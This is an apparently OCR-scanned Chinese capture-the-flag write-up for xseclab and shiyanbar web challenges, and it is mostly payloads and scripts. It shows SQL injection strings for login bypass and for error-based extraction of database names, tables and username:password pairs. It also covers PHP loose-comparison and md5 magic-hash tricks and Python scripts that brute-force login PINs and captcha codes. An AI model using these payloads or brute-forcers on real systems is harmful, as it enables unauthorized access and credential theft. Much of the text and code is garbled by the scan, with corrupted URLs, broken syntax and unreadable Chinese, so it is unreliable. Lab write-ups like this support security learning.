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http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

7./% F burpi repeater& & 2/ HTTP&
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3.http://lab1.xseclab.convsqli2_3265b4852¢c13383560327d1¢31550b60/index.php
EARTEETIN

FAFPA: admin' #
ﬁ‘ = Illl
& 1FRS: gffa

o en (B2
4.http://lab1.xseclab.com/sqli3 _6590b07a0a39¢c8c27932b92b0e151456/index.php
payload:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1
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AWM k: Content-Type: text/html; charset=gb2312

payload

http:/lab1.xseclab.conV/sqli4_9b5a929e00e122784e44eddf2b6aat1al/index.php?id=1%a0%27 or 1=1 limit
2,1%23
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http://lab1.xseclab.com/sqli5_5ba0Obba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure
analyse(extractvalue(1,concat(0x3a,database())),1)

HIEEE: mydbs

http://lab1.xseclab.com/sqli5 5ba0Obba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure
analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where
table_schema=0x6d79646273 limit 0,1 ))),1)
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http:/lab1.xseclab.com/sqli5_5ba0bba6a6d1b300956843f757889552/index.php?start=7&num=1 procedure
analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)
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http://ctf4.shiyanbar.com/web/10.php
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import requests
import base64

url="http://ctf4.shiyanbar.com/web/10.php"’
reg=requests.get(url)

print req.text

key=req.headers['FLAG']
key=base64.b64decode(key)
key=key.split(':"')[1].strip()

data={"key"' :key}
r=requests.post(url,data=data)
print(r.text)
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user=admin'y#&pass=432142
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user='union select 'c4ca4238a0b923820dcc509a6f75849b" from php -- &pass=1

HA-MDS5 2 %15 15 md5

ARG ]
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$cipher = 'alzLbgQsCESEIQRLWUQAYMwLYq2L5VWBXqGA3RQAyumZOtmMvSGM2ZwB4tws " ;
$tmp = base64_decode(strrev(str_rotl3($cipher)));
echo $tmp;
$b = '";
for ($i=0; $i < strlen($tmp); $i++) {
$a = substr($tmp, $i, 1);
$b = $b.chr(ord($a)-1);
}

echo strrev($b);
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var_dump( @ == "a" );
Var‘_dump( ueu —= uau );

F—NREIF R true , B =NREIK £ false

B Aphpit B L AL R B R, #5460, W 3T /5 7 B E 3 R BB — N7 B I A7 B 2 A
(mintval("123abd45gf)% F 4123)
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var_dump ("0e462097431906854"=="0e83040041") ;
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md5 (' 240610708') MZRE: 0e462097431906509019562988736854
md5 ( 'QNKCDZO0') K4 HEZ: 0e830400451993494058024219903391

240610708, QNKCDZO. aabg7XSs. aabC9RqS
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md5(array) == NULL
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RAREMRRRAL, £—KEEP, T KRR, E—REOBIEBAS KK

import requests

url = "http://labl.xseclab.com/vcodel_bcfef7eacf7badc64aat18844cdblc46/login.php"
req = requests.session()

header = {"Cookie":"PHPSESSID=9b88686269f5d70a44766e3c5f4dcdc"}

for pwd in xrange(1000,10000):

data={"'username': 'admin', 'pwd’ :pwd, 'vcode':'c3pe’'}

ret = req.post(url, data=data, headers=header)
print ret.text

if 'error' not in ret.text:

print pwd

break
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pud error
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is LJLJL78?sdf#Bsd

http://lab1.xseclab.com/vcode2 a6ebbacOb47c8187b09deb20babc0e85/index.php

B “ZERRE, RibRg! REIE—KEERKRIERD RS, BREAS!

R—REBWIER, BWIE—RCERAMT, HEBREZNHERATEREERIEGRTIEHKAZA T, B
PAFE A A rp R B ARAIE 6 RS D" B A FT BA

import requests

url

"http://labl.xseclab.com/vcode2_a6e6bacOb47c8187b09deb20babc®e85/1login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}

for pwd in xrange(1000,10000):
data={"username':'admin', 'pwd' :pwd, 'vcode":"' "'}
ret = req.post(url, data=data, headers=header)

if 'error' not in ret.text:
print ret.text

print "good: password is:" + str(pwd)
break
else:
print "try:" + str(pwd) + " and result is :"+ ret.text

pud error
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pud error
pud error
pud error
opid, Epror
pud error

and result
and result
and result
and result
try:1225 and result
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try:1226 {and: resolt
try:1227 and result
key iz LJLJL789ss33fasuxcusdf#i@sd
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import requests

url

"http://labl.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/1ogin.php"
req = requests.session()

header = {"Cookie":"PHPSESSID=61556a5b2a6c2a@3a2f35b199cbb5364"}
for vcode in xrange(100,1000):

data={"username':'13388886666"', 'vcode':vcode, 'Login':'submit'}

# data={"'username':'13399999999"', 'vcode':vcode, 'Login':'submit'}

ret = req.post(url, data=data, headers=header)

if 'error' not in ret.text:
print ret.text

print "good: vcode is:'
break

+ str(vcode)

else:

print "try:" + str(vcode) + " and result is :"+ ret.text

AEERE: http://blog.csdn.net/u012763794/article/details/50959166
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